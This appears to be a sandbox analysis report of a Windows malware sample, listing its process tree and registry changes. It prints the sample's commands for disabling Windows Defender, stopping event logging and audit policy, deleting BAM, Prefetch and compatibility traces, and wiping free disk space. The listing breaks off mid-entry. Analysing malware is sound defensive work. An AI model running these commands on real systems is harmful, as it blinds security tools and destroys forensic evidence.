PID 1140 wrote to memory of 4324	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	207

System policy modification 1 TTPs 2 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ProcessCreationIncludeCmdLine_Enabled = "0"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ProcessCreationIncludeCmdLine_Enabled = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3528
- C:\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe"
  2⤵
  - Suspicious behavior: RenamesItself
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Users\Admin\AppData\Local\Temp\.2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.ixtiplpxsavmfvwcdcnrgllzmvnrjupd.__selfdelete__.exe
    "C:\Users\Admin\AppData\Local\Temp\.2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.ixtiplpxsavmfvwcdcnrgllzmvnrjupd.__selfdelete__.exe" 1828 C:\Users\Admin\AppData\Local\Temp\.2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.wmbzppcnkpeagltdtyfztuvzrrynkcif.__relocated__.exe
    3⤵
    - Deletes itself
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3112
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c exit
      4⤵
      Executes a command shell one-liner
      PID:5364
- - C:\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe"
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Modifies Windows Defender Real-time Protection settings
    - Modifies security service
    - Executes dropped EXE
    - Indicator Removal: Clear Windows Event Logs
    - Loads dropped DLL
    - Windows security modification
    - Modifies Security services
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    - System policy modification
    PID:1140
  - - C:\Windows\system32\auditpol.exe
      "auditpol" /set "/subcategory:Process Creation" /success:disable /failure:disable
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5560
  - - C:\Windows\system32\net.exe
      "net" stop EventLog /y
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1664
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop EventLog /y
        5⤵
        
        PID:5464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -Command "$bamBase = 'HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings'; Get-ChildItem $bamBase -ErrorAction SilentlyContinue | ForEach-Object { $sidPath = $_.PSPath; $winRegPath = $sidPath.Replace('Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE', 'HKLM'); (Get-ItemProperty $sidPath -ErrorAction SilentlyContinue).psobject.properties | Where-Object { $_.Name -like '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*' } | ForEach-Object { $vName = $_.Name; & reg.exe delete \"$winRegPath\" /v \"$vName\" /f *>$null } }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3712
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" delete HKLM\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-1738198120-2966725515-3980530802-1000 /v \Device\HarddiskVolume2\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe /f
        5⤵
        Modifies registry key
        
        PID:4536
  - - C:\Windows\system32\net.exe
      "net" stop PcaSvc
      4⤵
      Suspicious use of WriteProcessMemory
      PID:892
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop PcaSvc
        5⤵
        
        PID:5456
  - - C:\Windows\system32\reg.exe
      "reg" load HKLM\TempAmcache C:\Windows\AppCompat\Programs\Amcache.hve
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4144
  - - C:\Windows\system32\reg.exe
      "reg" unload HKLM\TempAmcache
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2912
  - - C:\Windows\system32\net.exe
      "net" start PcaSvc
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1816
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start PcaSvc
        5⤵
        
        PID:608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath 'C:\' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath 'D:\' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionProcess '*' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionExtension '*' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2200
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      Launches sc.exe
      PID:4732
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:4792
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      Launches sc.exe
      PID:4504
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3448
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisDrv
      4⤵
      Launches sc.exe
      PID:2360
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisDrv start= disabled
      4⤵
      Launches sc.exe
      PID:960
  - - C:\Windows\system32\sc.exe
      "sc" stop WdBoot
      4⤵
      Launches sc.exe
      PID:1596
  - - C:\Windows\system32\sc.exe
      "sc" config WdBoot start= disabled
      4⤵
      Launches sc.exe
      PID:2104
  - - C:\Windows\system32\sc.exe
      "sc" stop WdFilter
      4⤵
      Launches sc.exe
      PID:5700
  - - C:\Windows\system32\sc.exe
      "sc" config WdFilter start= disabled
      4⤵
      Launches sc.exe
      PID:3048
  - - C:\Windows\system32\sc.exe
      "sc" stop SecurityHealthService
      4⤵
      Launches sc.exe
      PID:1112
  - - C:\Windows\system32\sc.exe
      "sc" config SecurityHealthService start= disabled
      4⤵
      Launches sc.exe
      PID:3360
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      Launches sc.exe
      PID:5792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableIOAVProtection $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableScriptScanning $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableArchiveScanning $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1156
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /change /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /disable
      4⤵
      PID:4892
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /change /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /disable
      4⤵
      PID:3764
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /change /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /disable
      4⤵
      PID:2408
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /change /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /disable
      4⤵
      PID:1920
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /change /tn "\Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /disable
      4⤵
      PID:4324
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -MAPSReporting Disabled"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4308
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4976
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1728
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -PUAProtection Disabled"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -EnableNetworkProtection Disabled"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4968
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4736
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:3312
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5396
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2828
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im SecurityHealthSystray.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2648
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2636
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsSense.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-WindowsOptionalFeature -Online -FeatureName Windows-Defender -NoRestart"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4232
    - - C:\Windows\System32\Dism\dismhost.exe
        
        C:\Windows\System32\Dism\dismhost.exe {867CB4A2-FC5D-4F38-810E-2099602C82EB}
        5⤵
        
        PID:7228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableEmailScanning $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2460
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRemovableDriveScanning $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableScanningNetworkFiles $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -ScanScheduleDay 8"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2916
  - - C:\Windows\system32\net.exe
      "net" start EventLog
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3152
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start EventLog
        5⤵
        
        PID:4832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Wait-Process -Id 1140 -ErrorAction SilentlyContinue; Start-Sleep -Seconds 1; for ($i=0; $i -lt 5; $i++) { Get-ChildItem 'C:\Windows\Prefetch' -Filter '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*.pf' -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue; $pca = 'HKCU:\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store'; if (Test-Path $pca) { (Get-ItemProperty $pca).PSObject.Properties | Where-Object { $_.Name -like '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*' } | ForEach-Object { Remove-ItemProperty -Path $pca -Name $_.Name -ErrorAction SilentlyContinue } }; $bamPaths = @('HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings', 'HKLM:\SYSTEM\CurrentControlSet\Services\bam\UserSettings'); foreach ($base in $bamPaths) { if (Test-Path $base) { Get-ChildItem $base -ErrorAction SilentlyContinue | ForEach-Object { $keyPath = $_.PSPath; $winPath = $keyPath.Replace('Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE', 'HKLM'); $props = (Get-ItemProperty $keyPath -ErrorAction SilentlyContinue).psobject.properties | Where-Object { $_.Name -toLower -match '2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo' }; foreach ($p in $props) { $valName = $p.Name; $regKeyPath = $winPath -replace 'HKLM:\\', 'HKLM\'; & reg.exe delete \"$regKeyPath\" /v \"$valName\" /f *>$null } } } }; Start-Sleep -Seconds 2 }; Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters' -Name 'EnablePrefetcher' -Value 3 -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1520
  - - C:\Windows\system32\auditpol.exe
      "auditpol" /set "/subcategory:Process Creation" /success:enable /failure:enable
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Wait-Process -Id 1140 -ErrorAction SilentlyContinue; Start-Sleep -Seconds 1; for ($i=0; $i -lt 5; $i++) { Get-ChildItem 'C:\Windows\Prefetch' -Filter '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*.pf' -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue; $pca = 'HKCU:\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store'; if (Test-Path $pca) { (Get-ItemProperty $pca).PSObject.Properties | Where-Object { $_.Name -like '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*' } | ForEach-Object { Remove-ItemProperty -Path $pca -Name $_.Name -ErrorAction SilentlyContinue } }; $bamPaths = @('HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings', 'HKLM:\SYSTEM\CurrentControlSet\Services\bam\UserSettings'); foreach ($base in $bamPaths) { if (Test-Path $base) { Get-ChildItem $base -ErrorAction SilentlyContinue | ForEach-Object { $keyPath = $_.PSPath; $winPath = $keyPath.Replace('Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE', 'HKLM'); $props = (Get-ItemProperty $keyPath -ErrorAction SilentlyContinue).psobject.properties | Where-Object { $_.Name -toLower -match '2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo' }; foreach ($p in $props) { $valName = $p.Name; $regKeyPath = $winPath -replace 'HKLM:\\', 'HKLM\'; & reg.exe delete \"$regKeyPath\" /v \"$valName\" /f *>$null } } } }; Start-Sleep -Seconds 2 }; Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters' -Name 'EnablePrefetcher' -Value 3 -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2380
  - - C:\Windows\system32\auditpol.exe
      "auditpol" /set "/subcategory:Process Creation" /success:enable /failure:enable
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4324
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -Command "$bamBase = 'HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings'; Get-ChildItem $bamBase -ErrorAction SilentlyContinue | ForEach-Object { $sidPath = $_.PSPath; $winRegPath = $sidPath.Replace('Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE', 'HKLM'); (Get-ItemProperty $sidPath -ErrorAction SilentlyContinue).psobject.properties | Where-Object { $_.Name -like '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*' } | ForEach-Object { $vName = $_.Name; & reg.exe delete \"$winRegPath\" /v \"$vName\" /f *>$null } }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious use of AdjustPrivilegeToken
      PID:2596
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" delete HKLM\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-1738198120-2966725515-3980530802-1000 /v \Device\HarddiskVolume2\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe /f
        5⤵
        Modifies registry key
        
        PID:8148
  - - C:\Windows\system32\net.exe
      "net" stop PcaSvc
      4⤵
      PID:6156
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop PcaSvc
        5⤵
        
        PID:6652
  - - C:\Windows\system32\powercfg.exe
      "powercfg" /h off
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:6172
  - - C:\Windows\system32\cipher.exe
      "cipher" /w: C:\
      4⤵
      PID:6180
  - - C:\Windows\system32\cipher.exe
      "cipher" /w: C:\
      4⤵
      PID:6704
  - - C:\Windows\system32\powercfg.exe
      "powercfg" /h off
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:6716
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -Command "$bamBase = 'HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings'; Get-ChildItem $bamBase -ErrorAction SilentlyContinue | ForEach-Object { $sidPath = $_.PSPath; $winRegPath = $sidPath.Replace('Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE', 'HKLM'); (Get-ItemProperty $sidPath -ErrorAction SilentlyContinue).psobject.properties | Where-Object { $_.Name -like '*2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo*' } | ForEach-Object { $vName = $_.Name; & reg.exe delete \"$winRegPath\" /v \"$vName\" /f *>$null } }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious use of AdjustPrivilegeToken
      PID:6724
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" delete HKLM\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-1738198120-2966725515-3980530802-1000 /v \Device\HarddiskVolume2\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe /f
        5⤵
        Modifies registry key
        
        PID:1124
  - - C:\Windows\system32\net.exe
      "net" stop PcaSvc
      4⤵
      PID:6748
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop PcaSvc
        5⤵
        
        PID:7004
  - - C:\Windows\system32\reg.exe
      "reg" load HKLM\TempAmcache C:\Windows\AppCompat\Programs\Amcache.hve
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:7156
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WLAN-AutoConfig/Operational /e:true
      4⤵
      PID:1520
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WLAN-Autoconfig/Diagnostic /e:true
      4⤵
      PID:6180
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WLAN-Driver/Analytic /e:true
      4⤵
      PID:6412
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WLAN-MediaManager/Diagnostic /e:true
      4⤵
      PID:6324
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WLANConnectionFlow/Diagnostic /e:true
      4⤵
      PID:6380
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WlanDlg/Analytic /e:true
      4⤵
      PID:6392
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3048
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NCSI/Operational /e:true
      4⤵
      PID:6152
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Diagnostics-Networking/Operational /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3760
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NetworkProfile/Operational /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:6388
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NetworkProfile/Diagnostic /e:true
      4⤵
      PID:6320
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5396
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NetworkLocationWizard/Operational /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2380
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Network-Connection-Broker /e:true
      4⤵
      PID:1988
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Network-Setup/Diagnostic /e:true
      4⤵
      PID:5596
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2636
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NetworkProvider/Operational /e:true
      4⤵
      PID:4352
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NetworkBridge/Diagnostic /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:6532
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Network-and-Sharing-Center/Diagnostic /e:true
      4⤵
      PID:6460
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Networking-Correlation/Diagnostic /e:true
      4⤵
      PID:6376
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WiFiNetworkManager/Operational /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:6472
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Wcmsvc/Operational /e:true
      4⤵
      PID:4916
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Wcmsvc/Diagnostic /e:true
      4⤵
      PID:6172
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Wcmsvc/Tracing /e:true
      4⤵
      PID:5104
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Wcmsvc/Diagnostic-Network /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5052
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NlaSvc/Operational /e:true
      4⤵
      PID:6060
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Dhcp-Client/Operational /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3264
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Dhcp-Client/Admin /e:true
      4⤵
      PID:3580
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-DHCPv6-Client/Operational /e:true
      4⤵
      PID:6000
  - - C:\Windows\system32\wevtutil.exe
